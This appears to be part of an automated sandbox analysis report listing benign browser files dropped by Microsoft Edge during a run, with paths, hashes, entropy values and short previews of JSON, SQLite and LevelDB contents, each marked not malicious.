Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863201.231167}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF3c015.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.426999895921584
Encrypted:	false
SSDEEP:	12:YWyR9r3N+UAnIgNmZW3OwN+UAnIoORp65RWIrfAtH+UAnIzFUQ:YhnEUqx7wUN6PWIEteUtFUQ
MD5:	B85686DC0867CCEB109F8BC58BA399E3
SHA1:	32798B3D94D9E484AB8E4061D741C14D87DF8704
SHA-256:	003CB5141E4906DF8826DFB173076CAF89BA867C50BB21847E9FD6F19306213A
SHA-512:	29A13BCB66C818B0A6597904B83156F8EFCED33A0897926DE490FEDE18F7102B69D6E703B503B603BA8EA07243DFB567D850AD6D7365CC3D0EC23BA06A2FB6F8
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863201.231167}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF3f59c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.426999895921584
Encrypted:	false
SSDEEP:	12:YWyR9r3N+UAnIgNmZW3OwN+UAnIoORp65RWIrfAtH+UAnIzFUQ:YhnEUqx7wUN6PWIEteUtFUQ
MD5:	B85686DC0867CCEB109F8BC58BA399E3
SHA1:	32798B3D94D9E484AB8E4061D741C14D87DF8704
SHA-256:	003CB5141E4906DF8826DFB173076CAF89BA867C50BB21847E9FD6F19306213A
SHA-512:	29A13BCB66C818B0A6597904B83156F8EFCED33A0897926DE490FEDE18F7102B69D6E703B503B603BA8EA07243DFB567D850AD6D7365CC3D0EC23BA06A2FB6F8
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863201.231167}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a90850d4-2ee9-4853-9d7b-35d482d63874.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17706
Entropy (8bit):	5.248258827678139
Encrypted:	false
SSDEEP:	384:DN89K9wMDvE6t26hCKilZFLtdaNdOzwDA+BvvdF1ajAdWX184P6eSU7LJjkNdKye:9MIe9fXz
MD5:	94167AEC653A2D1FE9FF9AB5A42FE1FF
SHA1:	B131A890E33D209FFE0F02BD76323329401C60C2
SHA-256:	4D92E75126865E4C426DB683E0B4862D0313CC6D255A7CB24C7602CCF6C323DE
SHA-512:	3D61DE40908D8F7DED048CAFE1B70EA95C31C23377F54FFF1EF600D0A4798B6E7DEA80CB3EFD2DCEE31724F80B9CEE775B8741DF530E6CF83A6121E0951A497E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"anonymization":["GAAAABIAAABodHRwczovL3NjcmliZC5jb20AAA==",true],"broken_count":1,"broken_until":"1739863513","host":"x.bidswitch.net","port":443,"protocol_str":"quic"},{"anonymization":["GAAAABIAAABodHRwczovL3NjcmliZC5jb20AAA==",false],"broken_count":2,"broken_until":"1739863516","host":"x.bidswitch.net","port":443,"protocol_str":"quic"},{"anonymization":["GAAAABIAAABodHRwczovL3NjcmliZC5jb20AAA==",true],"broken_count":10,"broken_until":"1739863523","host":"onetag-sys.com","port":443,"protocol_str":"quic"},{"anonymization":["GAAAABIAAABodHRwczovL3NjcmliZC5jb20AAA==",true],"broken_count":2,"broken_until":"1739863524","host":"rtb.mfadsrvr.com","port":443,"protocol_str":"quic"}],"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13386928793197871","port":443,"proto

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c738c147-3646-493b-917e-e33406d1bf0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ca39266d-54a9-48f3-89b7-4cbc9db56aa5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	5.542947082582722
Encrypted:	false
SSDEEP:	24:YhnEUqXYr+UeD9RAeU9d7wUe6UQ6PWIEteUtFBk+UtPJpRUFmK7ozUqIrQ:YCUqbUEieU9dEUHU91EcUt5UtxcEUqIk
MD5:	2F060FD11A255DE954334F4885801882
SHA1:	0D7D0D5D245476B6AAA50367DCD7890C43BAAD59
SHA-256:	6D4557CF07441D1338FFABBEF26E93E1DE6B90315629649845187F1F37E1A935
SHA-512:	952EDF0A59D8F2DECFDE7FC8FBC71052BFFECD4308A672947E50A13B14588AF09FAF14F405F073F2969824A3687BA7F0B77D48C56065690A302DFFA6800FFD89
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399216.230868,"host":"Hi4bEdMq563Qsqn4sVyUls/uVk7U80IxMa3wyWVUqWU=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863216.230871},{"expiry":1771399210.570205,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863210.57021},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399213.63333,"host":"UEuxAiZ90EFiLMzVpyJ8AILtrMRHUGrTE/NJIU1UI/Y=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863213.633333},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":173986320

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\eee923a3-3b00-40b0-b31b-1f079aa357c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\efadf6d3-7df7-452b-9a32-167a51b56290.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.426999895921584
Encrypted:	false
SSDEEP:	12:YWyR9r3N+UAnIgNmZW3OwN+UAnIoORp65RWIrfAtH+UAnIzFUQ:YhnEUqx7wUN6PWIEteUtFUQ
MD5:	B85686DC0867CCEB109F8BC58BA399E3
SHA1:	32798B3D94D9E484AB8E4061D741C14D87DF8704
SHA-256:	003CB5141E4906DF8826DFB173076CAF89BA867C50BB21847E9FD6F19306213A
SHA-512:	29A13BCB66C818B0A6597904B83156F8EFCED33A0897926DE490FEDE18F7102B69D6E703B503B603BA8EA07243DFB567D850AD6D7365CC3D0EC23BA06A2FB6F8
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863201.231167}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fd053608-567e-45f7-ab2f-d18648cd5d46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8307038620100359
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAz7Nm2z8ZI7J5fc:T+OUzDbg3eAzA2ztc
MD5:	B18967139991D9CA13DF7E493540A358
SHA1:	97411C14A8503C11248BE7404C9A79BA5146D40C
SHA-256:	CCC36F21951B4CB357C57DA0CCA1FFF3B4C7027230C10FD8BCB72C0AFF66141F
SHA-512:	473AE1B215B181785EA65F87E34155D5976C7AD1FA487B025E1C8711BFD127E99066990105CDA8D6F4804459118361217455AB1644803D22E6ECB164EEEFD630
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	5.110074006970827
Encrypted:	false
SSDEEP:	192:st6kdAs034sZihUkQ3m88bV+FmWQ2s66WlaFIMYUP/YJ:st6fsU4fhjbGjQ216WlaTYB
MD5:	8E8EFEC502A24739630AA99382B13BD8
SHA1:	1E39142FD1AB5D848E36D5B55D15793EB6094174
SHA-256:	2C689BD1230372312BED2AA2FE907DA646203129AD54A8DCEA2F1FE8357D2F66
SHA-512:	EB1077D1C753BC37508F84250AAA545B4FF6920B2D6082488A4639326CAA2BD8B5DF64B290959B99302116C2E7B9B80913E034EA9766B4DEA75B0B8F71F17E1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF386b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	5.110074006970827
Encrypted:	false
SSDEEP:	192:st6kdAs034sZihUkQ3m88bV+FmWQ2s66WlaFIMYUP/YJ:st6fsU4fhjbGjQ216WlaTYB
MD5:	8E8EFEC502A24739630AA99382B13BD8
SHA1:	1E39142FD1AB5D848E36D5B55D15793EB6094174
SHA-256:	2C689BD1230372312BED2AA2FE907DA646203129AD54A8DCEA2F1FE8357D2F66
SHA-512:	EB1077D1C753BC37508F84250AAA545B4FF6920B2D6082488A4639326CAA2BD8B5DF64B290959B99302116C2E7B9B80913E034EA9766B4DEA75B0B8F71F17E1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ae90.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	5.110074006970827
Encrypted:	false
SSDEEP:	192:st6kdAs034sZihUkQ3m88bV+FmWQ2s66WlaFIMYUP/YJ:st6fsU4fhjbGjQ216WlaTYB
MD5:	8E8EFEC502A24739630AA99382B13BD8
SHA1:	1E39142FD1AB5D848E36D5B55D15793EB6094174
SHA-256:	2C689BD1230372312BED2AA2FE907DA646203129AD54A8DCEA2F1FE8357D2F66
SHA-512:	EB1077D1C753BC37508F84250AAA545B4FF6920B2D6082488A4639326CAA2BD8B5DF64B290959B99302116C2E7B9B80913E034EA9766B4DEA75B0B8F71F17E1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ebc8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	5.110074006970827
Encrypted:	false
SSDEEP:	192:st6kdAs034sZihUkQ3m88bV+FmWQ2s66WlaFIMYUP/YJ:st6fsU4fhjbGjQ216WlaTYB
MD5:	8E8EFEC502A24739630AA99382B13BD8
SHA1:	1E39142FD1AB5D848E36D5B55D15793EB6094174
SHA-256:	2C689BD1230372312BED2AA2FE907DA646203129AD54A8DCEA2F1FE8357D2F66
SHA-512:	EB1077D1C753BC37508F84250AAA545B4FF6920B2D6082488A4639326CAA2BD8B5DF64B290959B99302116C2E7B9B80913E034EA9766B4DEA75B0B8F71F17E1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4390e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	5.110074006970827
Encrypted:	false
SSDEEP:	192:st6kdAs034sZihUkQ3m88bV+FmWQ2s66WlaFIMYUP/YJ:st6fsU4fhjbGjQ216WlaTYB
MD5:	8E8EFEC502A24739630AA99382B13BD8
SHA1:	1E39142FD1AB5D848E36D5B55D15793EB6094174
SHA-256:	2C689BD1230372312BED2AA2FE907DA646203129AD54A8DCEA2F1FE8357D2F66
SHA-512:	EB1077D1C753BC37508F84250AAA545B4FF6920B2D6082488A4639326CAA2BD8B5DF64B290959B99302116C2E7B9B80913E034EA9766B4DEA75B0B8F71F17E1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	83572
Entropy (8bit):	5.664020233737904
Encrypted:	false
SSDEEP:	1536:zL0/Ry7vm2lhq4ljc+PjfOzBu+RMDVogUlcPCcBjjmny8dLA8j7baD7:zL6yLm2fq4pc+rCAogU2CcBjj3YAg7mn
MD5:	8AC9D423C974E3B732BE0BD471AE6B4D
SHA1:	3B9B9E57D0FF7489D4BBE0E3D5CBBCE938864D30
SHA-256:	7D43B627DB4A4BAE8E59A4370E2FD155101DA5D906897BF3A3E2A26EA7D8DE4F
SHA-512:	CC50556A36EC19C84A98B5434C3FBD9B8AB3A9952B49E20CE387A373EDA44F4278A3E0E10274DB7FD5393B539567B08B8EB35A040531BF2C61D8E7FE317CBF74
Malicious:	false
Preview:	...m.................DB_VERSION.1O.3.j...............(QUERY_TIMESTAMP:product_category_en1...13384336820311040..QUERY:product_category_en1....[{"name":"product_category_en","url":"https://edgeassetservice.azureedge.net/assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories","version":{"major":1,"minor":0,"patch":0},"hash":"r2jWYy3aqoi3+S+aPyOSfXOCPeLSy5AmAjNHvYRv9Hg=","size":82989}]...yg~..............!ASSET_VERSION:product_category_en.1.0.0..ASSET:product_category_en...."..3....Car & Garage..Belts & Hoses.#..+....Sports & Outdoors..Air Pumps.!.."....Car & Garage..Body Styling.4..5./..Gourmet Food & Chocolate..Spices & Seasonings.'..,."..Sports & Outdoors..Sleeping Gear.!..6....Lawn & Garden..Hydroponics.9.a.5..Books & Magazines. Gay & Lesbian Interest Magazines....+....Office Products..Pins.,..3.'..Kitchen & Housewares..Coffee Grinders.$..#....Computing..Enterprise Servers.#..&....Home Furnishings..Footboards.6...2..Books & Magazines..Computer & Internet Magazines.)..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.162237165828265
Encrypted:	false
SSDEEP:	6:iOXTAjF1923oH+TcwtgctZQInvB2KLl1TVheq2P923oH+TcwtgctZQInvIFUv:7D8YYebgGZznvFLfVhev4YebgGZznQF2
MD5:	6130574151A79230D1CB9D5FE4B61157
SHA1:	7DFA12C2DADCC604C00D71D0EF0E892B49E7E2F4
SHA-256:	AAC155A7A244A2DB34323B31358C4D24A5797640BD59616157013F010F5FBE42
SHA-512:	4B2D105EF1CCDC372264EC34E07EF7CDCE23991CC2CACBD370008020C234E6A555F97E244CBA73D7099311F6285D8AFCA69EDFFD26B8B34E505166496FBB60AA
Malicious:	false
Preview:	2025/02/18-02:20:19.244 2680 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db since it was missing..2025/02/18-02:20:19.366 2680 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparisonAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566045162996104
Encrypted:	false
SSDEEP:	768:hrR4SpWPuEf6p8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtc0nMrwgpjtuk:hrR4SpWPuEf6pu1jacPnl0tr
MD5:	E8CED80B42EAAF0C201A8FD85104CE52
SHA1:	26C19276763E848A3B89F97C934F299ED87F4702
SHA-256:	93A537C89F03921BD7956DFD90FD7F206DC71A1CC4AF793FE42249E1F51664EE
SHA-512:	156224E8F691970CE6CF276B1DEB2EA18A23A29D170727DADB60B6432F9A5BAB36A001BDC2907ECEF02116C1E22AE77EE78D02818225E9E37CD8467E26CC98D3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13384336790665039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13384336790665039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF38703.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566045162996104
Encrypted:	false
SSDEEP:	768:hrR4SpWPuEf6p8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtc0nMrwgpjtuk:hrR4SpWPuEf6pu1jacPnl0tr
MD5:	E8CED80B42EAAF0C201A8FD85104CE52
SHA1:	26C19276763E848A3B89F97C934F299ED87F4702
SHA-256:	93A537C89F03921BD7956DFD90FD7F206DC71A1CC4AF793FE42249E1F51664EE
SHA-512:	156224E8F691970CE6CF276B1DEB2EA18A23A29D170727DADB60B6432F9A5BAB36A001BDC2907ECEF02116C1E22AE77EE78D02818225E9E37CD8467E26CC98D3
Malicious:	false
